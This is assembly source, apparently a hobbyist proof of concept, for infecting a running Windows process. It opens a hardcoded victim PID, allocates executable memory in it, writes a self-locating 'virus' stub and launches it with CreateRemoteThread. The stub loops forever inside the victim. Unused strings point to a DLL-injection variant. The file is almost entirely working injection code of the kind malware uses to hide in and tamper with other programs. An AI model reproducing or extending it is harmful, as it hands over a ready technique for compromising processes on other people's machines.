;Win32 Process infection Proof of concept,  
;Sha0 BadCheckSum.com

;compilar:
;bin\tasm32 -m1 -m3 -mx shao,,;
;bin\tlink32 -Tpe -aa shao,shao,,lib\import32.lib,,

.386
.model flat, stdcall


	extrn	OpenProcess:PROC
	extrn	VirtualAlloc:PROC
	extrn	WriteProcessMemory:PROC
	extrn	CreateRemoteThread:PROC
	extrn	WaitForSingleObject:PROC
	extrn	VirtualFree:PROC
	extrn	CloseHandle:PROC
	extrn	LoadLibraryA:PROC
	extrn	GetProcAddress:PROC
	extrn	MessageBoxA:PROC
	extrn	ExitProcess:PROC

.data
	
	PAGE_EXECUTE_READWRITE	dd	40h
	MEM_COMMIT		dd	1000h
	MEM_RELEASE		dd	8000h
	MEM_DECOMIT		dd	4000h
	
	pid 		dd 	1476		;victym
	LLA		dd	0
	hProcess	dd	0
	vf		dd	0
	vd		dd	0
	vp		dd	0
	hThread		dd	0
	
	evildll		db	'c:\dev-cpp\experiments\dll\fuck.dll',0
	procc		db	'LoadLibraryA',0
	kernel		db	'Kernel32',0
	lanzando	db	'Lanzando thread',0
	lanzado		db	'Ya esta lanzado ;)',0

	bytes		dd	0

	tit		db	'ERROR',0
	errRMF		db	'Reserva memoria funcion',0
	errRMD		db	'Reserva memoria datos',0
	errEMF		db	'Escribe memoria funcion',0
	errEMD		db	'Escribe memoria parametro',0
	errNBF		db	'No bytes en funcion',0
	errNBD		db	'No bytes en data',0
	errTH		db	'Thread malo',0

.code

inicio:

abre_proceso:
	push	pid
	push	0
	push	1f0fffh
	call	OpenProcess
	mov	hProcess, eax


reservar:
	mov	ebx, 13d
	call	reserva
	mov	vd, eax

	mov	ebx, offset(fin)-offset(virus)
	call	reserva
	mov	vf, eax


escribir_funcion:
	mov	eax, offset(fin)-offset(virus)
	mov	ebx, offset(virus)
	mov	ecx, vf
	call	escribe

	mov	edx, offset(errNBF)
	mov	ebx, bytes
	test	ebx, ebx
	jz	sobad

	;jmp 	crea_thread

escribir_datos:
	mov	eax, 13d
	mov	ebx, offset(procc)
	mov	ecx, vd
	call	escribe

	mov	edx, offset(errNBD)
	mov	ebx, bytes
	test	ebx, ebx
	jz	sobad


crea_thread:
	push	0
	push	offset(tit)
	push	offset(lanzando)
	push	0
	call	MessageBoxA

	xor	ebx, ebx

	push	ebx
	push	0
	push	ebx
	push	vf
	push	vd
	push	ebx
	push	hProcess
	call	CreateRemoteThread

	push	0
	push	offset(tit)
	push	offset(lanzado)
	push	0
	call	MessageBoxA

	
	jmp	fin


	mov	hThread, eax

	mov	edx, offset(errTH)
	call	testea

	jmp 	fin			;sin deallocar ;)

espera:
	push	0	
	push	0
	push	offset(evildll)
	push	offset(evildll)
	push	0
	call	MessageBoxA

	push	hThread
	call	WaitForSingleObject

libera:
	push	hThread
	call	CloseHandle

	push	MEM_RELEASE
	push	fin-virus
	push	vf
	push	hProcess
	call	VirtualFree

	push	MEM_RELEASE
	push	kernel-procc
	push	vd
	push	hProcess
	call	VirtualFree

	push	hProcess
	call	CloseHandle
	
	jmp	fin



;;;;;;;;;;;;;;;;;;;;Virus code;;;;;;;;;;;;;;;;;;;

virus:				
	call	delta
	add	edx, offset(msg)
	mov	byte ptr [edx], 09
yo:
	jmp	yo
	retn



delta:			     ;delta offset en edx :)
	call	getDelta
getDelta:
	pop	edx
	sub	edx, offset(getDelta)
	ret


;;;;;;;;;;;;;;;;;;;;Virus data;;;;;;;;;;;;;;;;;;;;;

data:				

	msg	db	'yepa',0
	titu	db	'hehe',0

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;



fin:
	push	0
	call	ExitProcess

sobad:
	push	0
	push	offset(tit)
	push	edx
	push	0
	call	MessageBoxA
	jmp	fin

testea:
	test	eax, eax
	jz	sobad
	ret

reserva:
	push	PAGE_EXECUTE_READWRITE
	push	MEM_COMMIT
	push	ebx
	push	0
	call	VirtualAlloc
	ret

escribe:
	push	offset(bytes);
	push	eax
	push	ebx;
	push	ecx;
	push	hProcess
	call	WriteProcessMemory
	ret

	
end inicio
